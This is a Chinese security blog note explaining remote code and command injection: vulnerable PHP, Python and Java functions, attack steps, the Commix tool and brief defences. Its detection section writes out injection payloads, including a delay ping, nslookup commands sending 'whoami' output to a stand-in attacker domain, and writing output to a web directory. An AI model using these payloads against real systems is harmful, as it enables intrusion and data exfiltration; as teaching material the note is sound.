4.8 RCE

简介#

RCE 分为两类。详见

Remote Code Execution (Code Injection)

Remote Command Execution (Command injection)

命令执行练习靶场

是什么?#

代码注入、命令注入,差不多都一个意思,不同之处在于前者将用户可控输入当作系统命令执行,而后者当作代码执行。

程序编写时,将用户的可控输入作为代码、命令的一部分来执行,而没有进行严格过滤。

php 中
# 可以进行代码执行的函数
eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()、array_map()
# 可以进行命令执行的函数
system()、shell_exec()、popen()、passthru()、proc_open()
python 中
eval exec subprocess os.system commands
java 中
java 中没有直接的函数,但是可以通过反射机制结合表达式引擎来实现这种功能。 OGNL、SpEL、MVEL

历史原因,在进行查询库存等操作时,可能会直接调用相应单独程序。

成功攻击的影响是?#

代码执行可以执行代码,包括调用执行系统命令函数。

命令执行可以执行系统命令。

如何攻击?#
  1. 要探测到可能用作 代码执行、命令执行的入口。白盒而言相对简单,黑盒只能通过经验、程序表现来判断。

  2. 突破不严谨过滤方式。 见下文

  3. 进行利用。

可以利用 Commix 命令注入检测、利用工具。

如何防御?#

尽量不要使用将用户可控输入转化为命令的功能。

如果非要使用,应该严格限制输入类型、不允许特殊符号。

检测与利用#

代码注入#

构造 webshell。

命令注入#

如果目标回显,则直接看响应结果即可。

如目标不回显,则尝试以下方法:

  1. 时延。利用耗时命令,当注入成功时,响应时间明显变大。

    ping -c 2 -i 4 127.0.0.1 //每次ping 间隔 4
  2. oob 技术。利用 ping 或者 nslookup 来检测或带出数据。

    nslookup `whoami`.kgji2ohoyw.web-attacker.com
    nslookup $(whoami).kgji2ohoyw.web-attacker.com
  3. 写入到文件。写入到网站公共目录下,然后访问文件。

    whoami > /var/www/static/whoami.txt

防御绕过#

等链接到后面的 WAF 绕过

代码注入#

正则表达式过滤,可以尝试 异或加密。在网上查找代码加密混淆工具。

命令执行#

利用 bash 或 cmd 特性来混淆命令

作者:chenyun

出处:https://www.cnblogs.com/starrys/p/14677621.html

版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。

posted @   沉云  阅读(116)  评论(0)    收藏  举报
编辑推荐:
· 如何把ASP.NET Core WebApi打造成Mcp Server
· Linux系列:如何用perf跟踪.NET程序的mmap泄露
· 日常问题排查-空闲一段时间再请求就超时
· Java虚拟机代码是如何一步一步变复杂且难以理解的?
· 领域驱动的事实与谬误 一 DDD 与 MVC
阅读排行:
· C#/.NET/.NET Core优秀项目和框架2025年4月简报
· 如何把ASP.NET Core WebApi打造成Mcp Server
· 为什么AI多轮对话那么傻?
· 排行榜的5种实现方案!
· windows11 安装WSL2详细过程
more_horiz
keyboard_arrow_up dark_mode palette
选择主题
menu
点击右上角即可分享
微信分享提示